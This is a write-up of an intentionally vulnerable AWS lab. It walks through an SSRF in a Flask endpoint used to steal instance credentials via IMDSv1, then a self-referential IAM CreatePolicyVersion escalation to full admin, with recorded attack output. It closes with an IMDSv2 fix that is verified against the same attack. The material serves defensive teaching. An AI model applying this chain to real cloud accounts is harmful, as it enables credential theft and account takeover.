Metadata Mirage
An intentionally vulnerable AWS lab that chains a web-app SSRF into instance-credential theft and a single-API-call privilege escalation to administrator — and the one instance-metadata flag (enforcing IMDSv2) that severs the entire chain. Reproducible end to end with Terraform.
Threat model
A single t3.micro runs a Flask app with a naive link-preview endpoint — /fetch?url= — that issues a server-side GET to any URL it is handed, with no allow-list. The instance role looks like an ordinary app role, and the box still accepts IMDSv1. The trust assumption is that an app bug stays an app bug: a request forgery should not become an account takeover.
The vulnerability
Three misconfigurations line up. The fetch endpoint is a textbook SSRF: it will reach the link-local metadata address 169.254.169.254 on the attacker's behalf. Because IMDSv1 is allowed (http_tokens = "optional"), a bare GET to that address returns the instance role's temporary credentials — no session token required.
And the role that looks scoped isn't. Alongside some benign S3 reads it holds iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion on the very policy attached to it. That is one self-referential permission too many: the role can rewrite its own grants. The impact is full-account compromise reached from an unauthenticated web request.
Reproduction
Two commands — make deploy then make attack — stand up the vulnerable lab and run the full chain. The SSRF reads the role name, then the credentials one path deeper; sts get-caller-identity confirms the pivot:
>> SSRF -> leak the instance role name from IMDS
leaked role: metadata-mirage-instance-role
>> SSRF -> steal the role's temporary credentials
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAXXXXXXXXXXXXXXXX",
"SecretAccessKey" : "REDACTED",
"Token" : "REDACTED",
"Expiration" : "2026-08-11T12:36:58Z"
}
>> Pivot -> who are we now?
"Arn": "arn:aws:sts::<acct>:assumed-role/metadata-mirage-instance-role/i-0ed898df34e38de85"Acting as the role, the natural next move is to read the attached policy — and that is denied. The role is scoped so tightly it cannot even enumerate its own permissions. It doesn't matter: writing a new policy version needs no read, so the escalation goes ahead blind. One call publishes an Action: "*" document as the new default, and the iam list-users that was denied moments earlier now succeeds:
>> Enumerate -> what is this role allowed to do?
AccessDenied: iam:ListAttachedRolePolicies is not authorized
AccessDenied: iam:GetPolicy is not authorized
>> Boundary check BEFORE privesc (expected: denied)
AccessDenied: iam:ListUsers is not authorized (denied, as expected -- not admin yet)
>> PRIVESC -> overwrite our own attached policy with *:* and set it default
{ "PolicyVersion": { "VersionId": "v2", "IsDefaultVersion": true } }
>> Boundary check AFTER privesc (expected: now allowed = full admin)
{ "Users": [ { "UserName": "lab-admin", "Arn": "arn:aws:iam::<acct>:user/lab-admin" } ] }Output from the recorded run. A scoped app role became an administrator via one SSRF and one IAM call.
The fix
make harden flips one metadata flag as an in-place update — the box is not rebuilt:
metadata_options {http_endpoint = "enabled"- http_tokens = "optional"+ http_tokens = "required"http_put_response_hop_limit = 1}
That single line is the entire defense:
http_tokens = "required"
IMDSv2 is session-oriented: a client must first PUT to obtain a token and then present it on the GET. A basic SSRF can only issue the GET, so the credential read fails — and with no credentials there is no pivot, no enumeration, and no privesc.
Verification
The identical attack — same script, unchanged — runs against the hardened instance:
>> SSRF -> leak the instance role name from IMDS leaked role: >> SSRF -> steal the role's temporary credentials >> No credentials returned. >> IMDSv2 is enforced: the attacker's plain GET to IMDS is rejected. >> The chain dies right here. Nothing to escalate.
Worth being precise about what IMDSv2 does and doesn't fix. The over-broad role and the unfiltered fetch are both still present — the harden step touches neither. What changes is that the chain never reaches them: the plain GET to the metadata endpoint is rejected, so step two returns nothing and the attack dies at credential theft.
The attack's invariance across both runs is the whole point. Nothing about the attacker changed — only one metadata flag — so that flag is unambiguously the control.
Takeaway
A role that cannot even read its own permissions is still one write away from admin. The escalation only works because CreatePolicyVersion targets a customer-managed policy attached to the caller — AWS-managed policies can't be versioned, which is why the realistic misconfiguration is a narrow, self-referential grant that reads like a benign app role until you look closely.
The root cause is the same one the MQTT lab demonstrates: broken access control — an authorization boundary assumed rather than enforced. There it's a topic ACL that was never written; here it's an IAM policy that grants one permission too many. Least privilege is the same control in both, and the exploitable gap is almost never the exotic vulnerability — it's the boundary nobody scoped.